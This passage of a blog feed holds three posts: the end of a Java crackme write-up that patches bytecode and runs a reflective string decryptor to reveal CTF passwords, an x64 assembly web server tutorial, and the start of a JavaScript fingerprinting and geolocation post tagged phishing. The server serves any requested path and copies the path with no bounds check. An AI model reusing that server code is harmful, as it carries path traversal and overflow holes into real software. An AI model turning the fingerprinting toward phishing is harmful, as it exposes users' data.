program.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*xQgYzVFVDIMoMY6P0vvBCg.png" /></figure><p>Then we search in the assembler about the location of that part of printing out 1.a(4, 87):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/924/1*0sp2r1790I2Ul5qA6vRWRg.png" /></figure><p>As you can see, all the evidence and figures indicate that this is the place responsible for deciphering the message of Please provide a password and print it out…</p><blockquote>getstatic java/lang/System.out Ljava/io/PrintStream;<br> iconst_4 <br> bipush 87<br> invokestatic 1.a (II)Ljava/lang/String;<br> invokevirtual java/io/PrintStream.println (Ljava/lang/String;)V<br> return</blockquote><p>First, the instruction getstatic java/lang/System.out retrieves the static System.out field and pushes the corresponding PrintStream instance onto the operand stack. Next, the instructions iconst_4 and bipush 87 push the integer constants 4 and 87 onto the stack. These two values are then consumed by the invokestatic 1.a(II)Ljava/lang/String; call, which invokes the static method 1.a(4, 87) and returns a String. Finally, the returned string is passed to println(String) through the invokevirtual java/io/PrintStream.println instruction, printing the result to standard output, after which the method returns.</p><p>Therefore, we will modify that function to decrypt the password and display it to us in this format:</p><p><strong>System.out.println(0.c(1.a(1, 95)));</strong></p><p>Remember that this part is used in the condition above to decrypt the password and compare it to the password we pass to the program:</p><p>if (0.c(1.a(1, 95)).equals(v1)) {…}</p><p>so we patch the bytecode at the assembly window to be like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/895/1*5g02RlY9ObTZcX7GGaoDNw.png" /></figure><blockquote>getstatic java/lang/System.out Ljava/io/PrintStream;<br> iconst_1 <br> bipush 95<br> invokestatic 1.a (II)Ljava/lang/String;<br> invokestatic 0.c (Ljava/lang/String;)Ljava/lang/String;<br> invokevirtual java/io/PrintStream.println (Ljava/lang/String;)V<br> return</blockquote><p>By applying this patch and save it using CRTL + S, the program performs the following sequence:</p><ol><li><strong>getstatic java/lang/System.out</strong><br> Retrieves the static field System.out and pushes the resulting PrintStream instance onto the operand stack.</li><li><strong>iconst_1 / bipush 95</strong><br> Pushes the integer constants 1 and 95 onto the stack. These values will be used as the arguments for the next method call.</li><li><strong>invokestatic 1.a (II)Ljava/lang/String;</strong><br> Invokes the static method 1.a(1, 95), consuming the two integers on the stack and producing a String result.</li><li><strong>invokestatic 0.c (Ljava/lang/String;)Ljava/lang/String;</strong><br> Invokes the static method 0.c(String), taking the string returned from 1.a(...) and returning another processed String.</li><li><strong>invokevirtual java/io/PrintStream.println (Ljava/lang/String;)V</strong><br> Calls the println(String) method on the PrintStream instance previously pushed by getstatic, printing the final string to standard output.</li></ol><p>Even the decompiler interface will be transformed into the form we want:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/902/1*gGRcmWU_ItT8miT5ANH-8A.png" /></figure><p>Great, now let’s save the program and run it after the patch:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/710/1*g3jyRZHxm8O0218L3Oa-YA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZJzO8I2ia1atBzr-7zR7tQ.png" /></figure><p>As you can see, the program itself displayed the encrypted password, soo:</p><p>Find the correct password:</p><p><strong>YafLa7T4m06e1c5R73wkEo4692G</strong></p><h3>Task 7: Extreme Obf</h3><p>This final jar has nearly every exploit I know packed into it. I dont know of any decompilers that will work for it. You will have to use custom tools and bytecode analysis to pick apart this one.</p><p>Same format as the previous tasks, takes one argument as the password.</p><p>If we try to decompile this program using any decompiler we will get a terrifying result:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Nztj4HhmJ4XKhXArPrC9lA.png" /></figure><p>Even when reading the bytecode, we will not be able to effectively understand the application’s flow..</p><p>After more than two days of trying to patch this application, I still haven’t been able to come up with anything, Here I will use another breaking technique:</p><pre>// JarDecryptExplorer.java<br>import java.io.*;<br>import java.lang.reflect.*;<br>import java.net.*;<br>import java.util.*;<br>import java.util.jar.*;<br>import java.nio.charset.*;<br><br>public class JarDecryptExplorer {<br>    public static void main(String[] args) throws Exception {<br>        if (args.length &lt; 1) {<br>            System.err.println(&quot;Usage: java JarDecryptExplorer /path/to/file.jar&quot;);<br>            System.exit(2);<br>        }<br>        File jarFile = new File(args[0]);<br>        if (!jarFile.exists()) {<br>            System.err.println(&quot;Jar not found: &quot; + jarFile.getAbsolutePath());<br>            System.exit(3);<br>        }<br><br>        URL jarUrl = jarFile.toURI().toURL();<br>        try (URLClassLoader cl = new URLClassLoader(new URL[]{jarUrl}, null)) {<br>            try (JarFile jf = new JarFile(jarFile)) {<br>                Enumeration&lt;JarEntry&gt; en = jf.entries();<br>                while (en.hasMoreElements()) {<br>                    JarEntry e = en.nextElement();<br>                    String name = e.getName();<br>                    if (!name.endsWith(&quot;.class&quot;)) continue;<br>                    String className = name.replace(&#39;/&#39;, &#39;.&#39;).replaceAll(&quot;\\.class$&quot;, &quot;&quot;);<br>                    System.out.println(&quot;\n===&gt; Class: &quot; + className);<br>                    Class&lt;?&gt; c;<br>                    try {<br>                        c = cl.loadClass(className);<br>                    } catch (Throwable t) {<br>                        System.out.println(&quot;  [load failed] &quot; + t);<br>                        continue;<br>                    }<br><br>                    // If there&#39;s a public static String field &#39;c&#39; or similar, read it as key/source<br>                    String key = null;<br>                    for (Field f : c.getDeclaredFields()) {<br>                        if (Modifier.isStatic(f.getModifiers()) &amp;&amp; f.getType() == String.class) {<br>                            f.setAccessible(true);<br>                            try {<br>                                Object val = f.get(null);<br>                                if (val != null) {<br>                                    String s = val.toString();<br>                                    if (s.length() &gt;= 1 &amp;&amp; s.length() &lt;= 4096) {<br>                                        if (key == null) key = s;<br>                                        System.out.println(&quot;  static public String field: &quot; + f.getName() + &quot; = &quot; + s);<br>                                    }<br>                                }<br>                            } catch (Throwable ignored) {}<br>                        }<br>                    }<br><br>                    Method[] methods = c.getDeclaredMethods();<br>                    for (Method m : methods) {<br>                        int mods = m.getModifiers();<br>                        if (!Modifier.isStatic(mods)) continue;<br>                        if (!m.getReturnType().equals(String.class)) continue;<br><br>                        m.setAccessible(true);<br>                        Class&lt;?&gt;[] ptypes = m.getParameterTypes();<br>                        System.out.println(&quot;  candidate method: &quot; + m.getName() + Arrays.toString(ptypes));<br><br>                        List&lt;Object[]&gt; trials = new ArrayList&lt;&gt;();<br><br>                        // common signatures<br>                        if (ptypes.length == 0) trials.add(new Object[]{});<br>                        if (ptypes.length == 1 &amp;&amp; ptypes[0] == String.class) trials.add(new Object[]{ key != null ? key : &quot;0&quot; });<br>                        if (ptypes.length == 1 &amp;&amp; ptypes[0] == char[].class) trials.add(new Object[]{ (key != null ? key : &quot;0&quot;).toCharArray() });<br>                        if (ptypes.length == 2 &amp;&amp; ptypes[0]==int.class &amp;&amp; ptypes[1]==int.class) {<br>                            int maxLen = key != null ? Math.min(key.length(), 48) : 16;<br>                            // try a few sensible offset/len pairs (not exhaustive)<br>                            for (int start=0; start &lt; Math.min(4, maxLen); start++) {<br>                                for (int len=1; len &lt;= Math.min(8, maxLen - start); len++) {<br>                                    trials.add(new Object[]{start, len});<br>                                }<br>                            }<br>                            // also try (1,0) and (0,0) like you saw success with<br>                            trials.add(new Object[]{0,0});<br>                            trials.add(new Object[]{1,0});<br>                        }<br><br>                        // generic small-arity generic filler<br>                        if (trials.isEmpty() &amp;&amp; ptypes.length &lt;= 3) {<br>                            Object[] gen = new Object[ptypes.length];<br>                            for (int i=0;i&lt;ptypes.length;i++) {<br>                                if (ptypes[i] == String.class) gen[i] = key != null ? key : &quot;0&quot;;<br>                                else if (ptypes[i] == char[].class) gen[i] = (key != null ? key : &quot;0&quot;).toCharArray();<br>                                else if (ptypes[i] == int.class || ptypes[i] == Integer.class) gen[i] = 0;<br>                                else gen[i] = null;<br>                            }<br>                            trials.add(gen);<br>                        }<br><br>                        // cap trials to avoid long runs<br>                        int printed = 0;<br>                        for (Object[] tArgs : trials) {<br>                            if (printed++ &gt;= 40) break;<br>                            try {<br>                                Object res = m.invoke(null, tArgs);<br>                                if (res == null) {<br>                                    System.out.println(&quot;    -&gt; invoked with &quot; + Arrays.toString(tArgs) + &quot; =&gt; null&quot;);<br>                                    continue;<br>                                }<br>                                String s = (String) res;<br>                                System.out.println(&quot;    -&gt; invoked with &quot; + Arrays.toString(tArgs) + &quot; =&gt; raw: \&quot;&quot; + safePreview(s) + &quot;\&quot;&quot;);<br>                                // bytes in ISO-8859-1 to preserve raw 0..255 values if chars were used as bytes<br>                                byte[] raw = s.getBytes(&quot;ISO-8859-1&quot;);<br>                                System.out.println(&quot;       hex (ISO-8859-1 bytes): &quot; + toHex(raw));<br>                                System.out.println(&quot;       codepoints (hex): &quot; + codepointsHex(s));<br>                            } catch (InvocationTargetException ite) {<br>                                System.out.println(&quot;    -&gt; invoked with &quot; + Arrays.toString(tArgs) + &quot; threw: &quot; + ite.getCause());<br>                            } catch (Throwable t2) {<br>                                System.out.println(&quot;    -&gt; invoke failed: &quot; + t2);<br>                            }<br>                        }<br>                    }<br>                }<br>            }<br>        }<br>    }<br><br>    static String toHex(byte[] b) {<br>        StringBuilder sb = new StringBuilder();<br>        for (byte x : b) sb.append(String.format(&quot;%02x&quot;, x &amp; 0xff));<br>        return sb.toString();<br>    }<br><br>    static String codepointsHex(String s) {<br>        StringBuilder sb = new StringBuilder();<br>        s.codePoints().limit(200).forEach(cp -&gt; {<br>            if (sb.length()&gt;0) sb.append(&#39; &#39;);<br>            sb.append(String.format(&quot;U+%04X&quot;, cp));<br>        });<br>        return sb.toString();<br>    }<br><br>    static String safePreview(String s) {<br>        if (s.length() &gt; 200) return s.substring(0,200) + &quot;...(len=&quot; + s.length() +&quot;)&quot;;<br>        return s;<br>    }<br>}</pre><p>This Java program dynamically loads classes from a specified JAR file and explores potential string decryption routines by reflectively invoking static methods that return strings, using heuristically guessed arguments (e.g., from static String fields or common patterns like offsets/lengths), then printing results in raw, hex, and codepoint views to reveal hidden/obfuscated strings.</p><p>In the world of reverse engineering, this is known as a dynamic string deobfuscator (or runtime string decryption tool) for obfuscated Java applications, specifically targeting string encryption obfuscation — a common protection where plaintext strings are hidden and decrypted at runtime via static methods (often in class initializers).</p><p>Ultimately, we can crack even the most complex passwords stored in this way.</p><pre>D:\cyber_security\reverse_engineering\CTF\java&gt;javac JarDecryptExplorer.java<br><br>D:\cyber_security\reverse_engineering\CTF\java&gt;java -cp . JarDecryptExplorer BasicStringObfuscation-obf_1584048757202.jar</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gc2A3hVfbhBXmx2bKZn6yA.png" /></figure><p>In this way we can extract the password, so:</p><p>What is the correct password?</p><p><strong>TsVwBSiA2IDqClTtWg6D6p5cM3k</strong></p><p>Ultimately, my friend, there are other techniques, of course, such as Hooking, that you can use to address this kind of complexity.</p><p>I hope you now have the complete picture and the right mindset to crack any Java bytecode.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=99a12fd59eeb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Building webserver using assembly (Linux) part1]]></title>
            <link>https://medium.com/@Oscar404/building-webserver-using-assembly-linux-part1-9311cc01cf44?source=rss-dcc4e76217aa------2</link>
            <guid isPermaLink="false">https://medium.com/p/9311cc01cf44</guid>
            <category><![CDATA[web-server]]></category>
            <category><![CDATA[nasm]]></category>
            <category><![CDATA[assembly]]></category>
            <category><![CDATA[x64]]></category>
            <category><![CDATA[assembly-language]]></category>
            <dc:creator><![CDATA[Oscar404]]></dc:creator>
            <pubDate>Thu, 26 Jun 2025 18:05:35 GMT</pubDate>
            <atom:updated>2025-06-26T18:05:35.258Z</atom:updated>
            <content:encoded><![CDATA[<p>in this article we will build a simple web server together using assembly x64 that’s going to work on Linux!</p><p>first of all, i should i explain to you the structure of every assembly code:</p><h3>code section:</h3><p>The code section (also known as the .text section) of assembly code is the part that contains the actual program instructions, i.e. the executable code that the processor executes step by step.</p><p>we specify if like so:</p><pre>.section .text<br>  code<br>  code<br>  code</pre><p>When compiling a program, this section is placed in a special part of the executable file called .text or code if you are going to use MASM!</p><h3>data section:</h3><p>The .data section of assembly code is a section of the program used to define variables and constants that contain initialized data, that is, data that is known and constant at compile time and not variable at runtime.</p><p>we specify if like so:</p><pre>section .data<br>    msg     db  &#39;Hello, world!&#39;, 0xA<br>    data<br>    data</pre><p>and yet there are other sections but that enough for us to build our web server…</p><p><strong>Since we will be dealing with Linux, it is easy to tell the system to do things for us, and here I&#39;m talking about system calls.</strong></p><h3>syscalls:</h3><p>Syscalls or “system calls” in Linux assembly code are the points of communication between the program and the underlying modules in the operating system kernel.</p><p>It’s simply a way to call a service from the kernel, such as:</p><p><strong>Reading or writing a file (read, write), Creating a process (fork, exec), Terminating a program (exit), Manipulating memory (mmap, brk).</strong></p><p><strong>for example, if we want to print out something to the console we would use printf() in c or print() in python but if we can’t do so here, we can use syscall to tell Linux please do this task for us, how?</strong></p><pre>mov rax, 1       ; sys_write = 1<br>mov rdi, 1       ; fd = 1 (stdout)<br>mov rsi, msg     ; pointer to msg<br>mov rdx, len     ; length<br>syscall</pre><p>as you can see, we first pass the parameters using registers then we call the function by its number to rax register!</p><p>the following website holds all Linux function with their numbers and parameters we should pass:</p><p><a href="https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md">https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md</a></p><p><strong>Now we are ready to build our web server!</strong></p><p>Look at the following Diagram of the functions we are going to use:</p><blockquote>| Process | Explanation |<br>| — — — — — — | — — — — — — — — — — — — — — — |<br>| `socket()` | To create a TCP socket |<br>| `bind()` | Bind it to port 80 on all interfaces |<br>| `listen()` | Listen for connection requests |<br>| `accept()` | Accept a new connection |<br>| `fork()` | Create a new process for each client |<br>| `read()` | Read the request |<br>| Parse `GET` | Extract the path to the requested file |<br>| `open()` | Open the requested file |<br>| `read()` | Read its contents |<br>| `write()` | Send the response to the client |<br>| `close()` | Close connections |<br>| `exit()` | Terminate the process |</blockquote><p>This chart tells us exactly where to start, where to proceed, and the reason for each step.</p><h4>Section One: .data — Data Definition:</h4><pre>section .data<br>msg: db &quot;HTTP/1.0 200 OK&quot;, 13, 10, 13, 10   ; &quot;HTTP/1.0 200 OK\r\n\r\n&quot;<br>msg_len equ $ - msg</pre><p>msg: The beginning of the standard HTTP response sent when a request is successful.</p><p>msg_len: Automatically calculates the length of the msg using the $-msg header difference and <strong>equ </strong>is a directive in the assembly language used to assign a constant value, similar to constant variables in high-level programming languages.</p><p>msg is the starting address of the text string “HTTP/1.0 200 OK\r\n\r\n” in the data section (.data).<br><strong>$</strong> indicates the current address in memory during compilation, i.e., the address immediately following the end of the string msg.<br><strong>$ -msg</strong> calculates the difference between the current address ($) and the starting address of the string (msg), giving the length of the string in bytes.</p><pre>sockaddr:<br>    dw 2              ; AF_INET (IPV4)<br>    dw 0x5000         ; port 80 (0x0050), but in network byte order (big-endian)<br>    dd 0              ; Address 0.0.0.0 =&gt; Listening on all interfaces<br>    times 8 db 0      ; Padding (required in sockaddr_in structure)</pre><p>This is the structure of the server address that will be used in the bind function.</p><p><strong>times 8 db 0 ; padding:<br></strong>times 8 db 0 means allocating 8 bytes padded with zeros.<br>This padding is necessary to ensure that the size of the sockaddr structure matches the system’s expected size (typically 16 bytes for the sockaddr_in structure on POSIX systems).</p><pre>read_buf:<br>    times 1024 db 0   ; buffer for HTTP request<br><br>file_path:<br>    times 256 db 0    ; buffer for extracted file path</pre><p><strong>times 1024 db 0:</strong></p><p>means repeating the following command 1024 times and db 0 means allocating one byte with the value 0.<br>Thus, 1024 bytes are allocated, filled with zeros.<br>and the purpose of: This area is used as a buffer to store incoming HTTP requests.</p><p>For example, when an HTTP server receives a request (such as a GET or POST request), the request content is stored in this buffer for later processing.<br>The size (1024 bytes) is typically adequate for storing simple HTTP requests, as most requests are relatively small.</p><p><strong>times 256 db 0:</strong></p><p>256 bytes are allocated, filled with zeros.<br>and the purpose of: This area is used as a buffer to store the file path extracted from an HTTP request.</p><p>For example, if the request is <strong>GET /index.html HTTP/1.1</strong>, the path <strong>/index.html </strong>will be extracted and stored in this buffer.<br>The size (256 bytes) is usually sufficient to store file paths, as file paths rarely exceed this size in HTTP requests.</p><h4>Section Two: .text — Server Implementation:</h4><pre>section .text<br>global _start<br><br>_start:<br>    mov rdi, 2       ; AF_INET<br>    mov rsi, 1       ; SOCK_STREAM<br>    xor rdx, rdx     ; rdx = protocol = 0 = (TCP)<br>    mov rax, 41      ; syscall: socket<br>    syscall<br>    mov r12, rax     ; Save the server socket fd</pre><p>This first function creates a socket for a server running on IPv4 and TCP.</p><p><strong>mov rdi, 2:</strong> rdi holds the first argument of the system call, domain (address family) and 2 represents AF_INET, meaning the socket will support the IPv4 protocol.<br><strong>mov rsi, 1:</strong> rsi holds the second argument, type (socket type) and 1 represents SOCK_STREAM, meaning the socket will be stream-oriented, the type typically used with TCP.<br><strong>xor rdx, rdx:</strong> rdx holds the third argument, protocol (protocol type) and 0 means the system will choose the default protocol (TCP in this case, because SOCK_STREAM is used with AF_INET).<br><strong>mov rax, 41:</strong> rax holds the syscall number and 41 represents the socket system call on Linux (x86–64) systems.<br>The resulting socket (server file descriptor) is stored in r12 for use in subsequent steps as we will see now:</p><pre>    ; bind<br>    mov rdi, r12<br>    lea rsi, [rel sockaddr] ; pointer to address structure<br>    mov rdx, 16             ;frame size<br>    mov rax, 49             ; syscall: bind<br>    syscall</pre><p>Here we call bind funciton:</p><p><strong>mov rdi, r12:</strong> r12 contains the file descriptor for the socket created previously (in the previous code using the socket call) and rdi is used to pass the first argument of the bind system call, which is the file descriptor for the socket.<br><strong>lea rsi, [rel sockaddr]:</strong> sockaddr is the name of the label that defines the address structure (defined earlier in the data section), which contains:<br>The address family (AF_INET = 2 for IPv4).<br>The port (80 for HTTP, converted to network byte order).<br>The IP address (0.0.0.0 to accept connections from any interface).<br>Padding to match the standard hierarchical size (16 bytes).<br>[rel sockaddr] Indicates the relative address of the sockaddr structure, making the code position-independent and rsi is used to pass the second argument of the bind call, a pointer to the sockaddr_in address structure.<br><strong>mov rdx, 16: </strong>rdx holds the third argument of the bind call, the address structure size in bytes and 16 represents the standard size of the sockaddr_in structure on Linux systems (2 bytes for sin_family + 2 bytes for sin_port + 4 bytes for sin_addr + 8 bytes for padding).<br>mo<strong>v rax, 49: </strong>rax holds the syscall number and 49 represents the bind system call on Linux (x86–64) systems.</p><pre>; listen<br>mov rdi, r12<br>xor rsi, rsi                 ; backlog = 0<br>mov rax, 50                  ; syscall: listen<br>syscall</pre><p>here we call listen function:</p><p><strong>mov rdi, r12:</strong> r12 contains the file descriptor for the socket that was previously created and bound (using socket and bind in the previous sections) and rdi is used to pass the first argument of the listen system call, which is the file descriptor for the socket.<br><strong>xor rsi, rsi: </strong>rsi holds the second argument of the listen call, which is the backlog and backlog specifies the maximum length of the incoming connection queue (the number of connections that can wait before being accepted using accept function!) and a value of 0 means that the system will use a default value for the backlog (usually a small value, such as 5 or 128, depending on the system settings).</p><p><strong>mov rax, 50: </strong>rax holds the syscall number and 50 represents the listen system call on Linux (x86–64) systems.</p><h4>main_loop:</h4><pre>main_loop:<br>    ; accept<br>    mov rdi, r12<br>    xor rsi, rsi<br>    xor rdx, rdx<br>    mov rax, 43       ; syscall: accept<br>    syscall<br>    mov r13, rax      ; client fd (e.g., 4)<br>; --------------------------------------------------------</pre><p>This label identifies the beginning of a main loop in our program and it&#39;s typically used to continuously repeat the process of accepting incoming connections from clients (such as an HTTP server that continues to listen and accept connections) and inside of it we call accept function with the following information:</p><p><strong>mov rdi, r12:</strong> r12 contains the file descriptor for the server socket, which has been created, bound, and prepared for listening in advance (using socket, bind, and listen in the previous sections) and rdi is used to pass the first argument of the accept call, which is the file descriptor for the server socket.<br><strong>xor rsi, rsi: </strong>rsi holds the second argument of the accept call, which is a pointer to the socketaddr that will be populated with the client’s address (such as the client’s IP address and port) and Using 0 (i.e., NULL) tells the system that it does not need to retrieve the client’s address information. <br><strong>xor rdx, rdx: </strong>rdx holds the third argument of the accept call, a pointer to a variable that specifies the size of the address structure and again by using 0 (i.e., NULL), the program tells the system that it does not need to retrieve the size of the address structure so this is consistent with setting rsi to NULL.<br><strong>mov rax, 43: </strong>rax holds the syscall number and the number 43 represents the accept system call on Linux (x86–64) systems.</p><p>next we continue main_loop:</p><pre>    ; fork<br>    mov rax, 57       ; syscall: fork<br>    syscall<br>    test rax, rax<br>    jz child_handler  ; child process (rax == 0)<br><br>    ; parent process<br>    ; close client socket (fd 4)<br>    mov rdi, r13<br>    mov rax, 3        ; syscall: close<br>    syscall<br>    jmp main_loop     ; back to accept</pre><p>here we used fork function:</p><p>This part forks to create a child process to handle each client connection, while the parent process continues to accept new connections (mulithreading) Let’s explain the code step by step:<br><strong>mov rax, 57: </strong>rax holds the syscall number and The number 57 represents the fork system call on Linux (x86–64) systems.<br><strong>syscall:</strong> Executes the fork system call and this call creates a new child process, which is a copy of the parent process.<br><strong>Result in rax:</strong> In the parent process: fork returns the child process identifier (PID), which is a positive integer and in the child process: fork returns 0.<br>If failed: returns a negative value (such as -1) with the error code errno.<br><strong>test rax, rax: </strong>Executes the test operation to verify the value of rax (the result of the fork) without modifying it and test rax, rax compares rax with itself, affecting the zero flag in the register, then:<br><strong>jz child_handler:<br></strong>jz (jump if zero) jumps to the child_handler label if the zero flag is active (i.e., rax == 0) and this means that the child process will jump to the child_handler label to handle the client connection.<br>If rax is not == 0 (i.e., in the parent process or in the error case), execution continues in the following lines.<br><strong>mov rdi, r13:</strong> r13 contains the file descriptor for the client socket that was accepted using accept in the previous section and rdi is used to pass the first argument to the close system call.<br><strong>mov rax, 3: </strong>The number 3 represents the close system call on Linux (x86–64) systems.<br>This is necessary because the parent process will not be dealing with this client (this has been delegated to the child process), so it closes its copy of the file descriptor to free up resources.<br>If the call succeeds, it returns 0 in rax and if it fails, it returns a negative value.<br>jmp main_loop:<br>Jumps to the main_loop label to iterate through the main loop.<br>This returns the parent process to the accept call (in the previous code) to accept a new client connection and the parent process continues listening and accepting new connections, while the child processes handle existing connections.</p><p>and then we type the child_handler:</p><pre>child_handler:<br>    ; child closes listening socket (fd 3)<br>    mov rdi, r12<br>    mov rax, 3        ; syscall: close<br>    syscall<br><br>    ; read(client_fd, read_buf, 1024)<br>    mov rdi, r13<br>    lea rsi, [rel read_buf]<br>    mov rdx, 1024<br>    mov rax, 0        ; syscall: read<br>    syscall<br>    mov r14, rax      ; bytes read</pre><p>child_handler is executed by the child process created after a fork call in the code and this piece is responsible for handling client requests in a simple HTTP server created by the program.</p><p><strong>; child closes listening socket (fd 3):</strong></p><p>The child process closes the listening socket created by the parent process (located in register r12) and this socket listens for new connections on port 80.<br><strong>Why?: </strong>The child process doesn’t need this socket because its role is to deal only with the current client (using the client socket located at r13) and closing the listening socket frees up resources and ensures that the child process doesn’t interfere with the parent process’s listening operations.</p><p><strong>; read(client_fd, read_buf, 1024):</strong></p><p>The subprocess (child) reads data (an HTTP request) from the client socket located at r13 and the read data is stored in a <strong>read_buf </strong>buffer with a maximum size of 1024 bytes so the number of bytes read is stored in register r14.<br><strong>Why?:</strong> This step fetches the HTTP request sent by the client (such as a web browser), For example, the request might be something like:</p><pre>GET /index.html HTTP/1.1<br>Host: localhost<br>...</pre><p>This request contains the path (e.g. /index.html) that the client wants to access.</p><pre>    ; parse HTTP GET path<br>    lea rsi, [rel read_buf]<br>    lea rdi, [rel file_path]<br>    add rsi, 4        ; skip &quot;GET &quot;<br>parse_loop:<br>    cmp byte [rsi], &#39; &#39;<br>    je end_parse<br>    mov al, [rsi]<br>    mov [rdi], al<br>    inc rsi<br>    inc rdi<br>    jmp parse_loop<br>end_parse:<br>    mov byte [rdi], 0</pre><p><strong>; parse HTTP GET path:</strong></p><p>This part parses the HTTP request to extract the requested path from the request.</p><p>For example, if the request is GET /index.html HTTP/1.1, the goal is to extract <strong>/index.html</strong>.<br>The first part (GET) is skipped by adding 4 to the rsi pointer (because “GET” consists of 4 characters) and characters are copied from read_buf to file_path until a space is found, which is the end-of-path marker in the HTTP request.<br>Finally, a string terminator (\0) is added to file_path to indicate the end of the path.<br><strong>Why?: </strong>Extracting the path is necessary to know the file the client is requesting (such as index.html) so that it can be opened and its contents sent to the client.</p><pre>    ; open(file_path, O_RDONLY)<br>    lea rdi, [rel file_path]<br>    xor rsi, rsi      ; O_RDONLY = 0<br>    mov rax, 2        ; syscall: open<br>    syscall<br>    mov r15, rax      ; file fd (e.g., 3)</pre><p><strong>; open(file_path, O_RDONLY):</strong></p><p>The file specified in file_path (such as /index.html) is opened using the open syscall in read-only (O_RDONLY) mode. The file descriptor is stored in the r15 register.<br><strong>Why?: </strong>The requested file contains data (such as an HTML page) that will be sent to the client as part of the HTTP response.</p><pre>    ; read(file_fd, read_buf, 1024)<br>    mov rdi, r15<br>    lea rsi, [rel read_buf]<br>    mov rdx, 1024<br>    mov rax, 0        ; syscall: read<br>    syscall<br>    mov r14, rax</pre><p>here the contents of the file (opened in r15) are read into a read_buf buffer with a maximum size of 1024 bytes and the number of bytes read is stored in r14.<br><strong>Why?:</strong> This step loads the file content (such as HTML text) into the buffer to be sent to the client.</p><pre>    ; close(file fd)<br>    mov rdi, r15<br>    mov rax, 3        ; syscall: close<br>    syscall</pre><p>here the file descriptor (r15) is closed after its contents are read.<br><strong>Why?:</strong> Closing a file frees up resources and ensures that no open files are left on the system.</p><pre>    ; write(client_fd, msg, msg_len)<br>    mov rdi, r13<br>    lea rsi, [rel msg]<br>    mov rdx, msg_len<br>    mov rax, 1        ; syscall: write<br>    syscall</pre><p>here the HTTP response header (HTTP/1.0 200 OK\r\n\r\n) is sent to the client via client socket (r13) and the header is stored in msg and its size is in msg_len.<br><strong>Why?:</strong> The HTTP header informs the client (such as a browser) that the request was processed successfully (status code 200 OK) and that the following data is the response content.</p><pre>    ; write(client_fd, read_buf, r14)<br>    mov rdi, r13<br>    lea rsi, [rel read_buf]<br>    mov rdx, r14<br>    mov rax, 1<br>    syscall</pre><p>here the contents of the file (stored in read_buf) are sent to the client and the number of bytes sent is determined by r14 (the number of bytes read from the file).<br><strong>Why?: </strong>This step sends the actual data (such as the HTML page) to the client to be displayed in the browser.</p><pre>    ; close(client socket)<br>    mov rdi, r13<br>    mov rax, 3<br>    syscall<br><br>    ; exit(0)<br>    xor rdi, rdi<br>    mov rax, 60<br>    syscall</pre><p>finally the client socket (r13) is closed after sending the response.<br><strong>Why?:</strong> This terminates the connection with the current client and frees up resources.</p><p>and The subprocess (child) terminates using the syscall exit with an exit code of 0 (indicating success).<br><strong>Why?: </strong>After the client request is processed, the subprocess no longer needs to continue, so it is terminated to free up resources.</p><p><strong>Note that there are some disadvantages that we did not cover here:</strong></p><p>This server is primitive and doesn’t handle non-existent files (open function may fail).</p><p>There is no permission checking or directory traversal (../file.txt may return system files path traversal attack will occur).</p><p>Using fork() is convenient for testing, but it’s less efficient than <strong>epoll </strong>or <strong>select </strong>on real-world systems.</p><p>It can be extended to support Content-Type and file type selection.</p><p>so here is the full comprehensive code:</p><p><a href="https://github.com/Oscar404M/assembly-webserver/blob/main/advanced_http_get_server.asm">https://github.com/Oscar404M/assembly-webserver/blob/main/advanced_http_get_server.asm</a></p><p>now let&#39;s assemble this code to elf file using nasm and ld:</p><pre>$ nasm -f elf64 -o http_server.o http_server.asm<br>$ ld -o http_server http_server.o<br>$ sudo ./http_server</pre><p>and here’s the result:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zdn-FtuKq7EkzR48BARJGg.png" /><figcaption>simple web server!</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9311cc01cf44" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Collecting System and User Information using JavaScript]]></title>
            <link>https://medium.com/@Oscar404/collecting-system-and-user-information-using-javascript-c78fe74efd02?source=rss-dcc4e76217aa------2</link>
            <guid isPermaLink="false">https://medium.com/p/c78fe74efd02</guid>
            <category><![CDATA[javascript]]></category>
            <category><![CDATA[scam]]></category>
            <category><![CDATA[phishing]]></category>
            <category><![CDATA[social-engineering]]></category>
            <dc:creator><![CDATA[Oscar404]]></dc:creator>
            <pubDate>Fri, 16 May 2025 11:54:03 GMT</pubDate>
            <atom:updated>2025-05-16T11:54:03.061Z</atom:updated>
            <content:encoded><![CDATA[<p>To collect system and browser information using JavaScript, you can use a variety of basic JavaScript methods, as well as web libraries and tools built into browsers.</p><p>Here are some examples of how to collect this information Using <strong>Navigator</strong>:</p><h4>1- Collection of device and browser information:</h4><pre>async function getSystemInfo() {<br>const systemInfo = {<br>userAgent: navigator.userAgent,<br>platform: navigator.platform,<br>language: navigator.language,<br>screenResolution: `${screen.width}x${screen.height}`,<br>colorDepth: screen.colorDepth,<br>timezone: Intl.DateTimeFormat().resolvedOptions().timeZone<br>};<br>return systemInfo;<br>}</pre><p>In the above code, navigator and screen are used to collect information such as the user’s browser information, platform, language, screen dimensions, color depth, and even the date range.</p><h4>2- Collecting geographic location information:</h4><pre>function getGeolocation() {<br>return new Promise((resolve, reject) =&gt; {<br>if (navigator.geolocation) {<br>navigator.geolocation.getCurrentPosition(<br>(position) =&gt; {<br>resolve({<br>latitude: position.coords.latitude,<br>longitude: position.coords.longitude,<br>accuracy: position.coords.accuracy<br>});<br>},<br>(error) =&gt; {<br>if (error.code === error.PERMISSION_DENIED) {<br>reject(new Error(&quot;User denied the request for Geolocation.&quot;));<br>} else {<br>reject(new Error(&quot;An error occurred while retrieving geolocation.&quot;));<br>}<br>}<br>);<br>} else {<br>reject(new Error(&quot;Geolocation is not supported by this browser.&quot;));<br>}<br>});<br>}</pre><p>In the previous code, 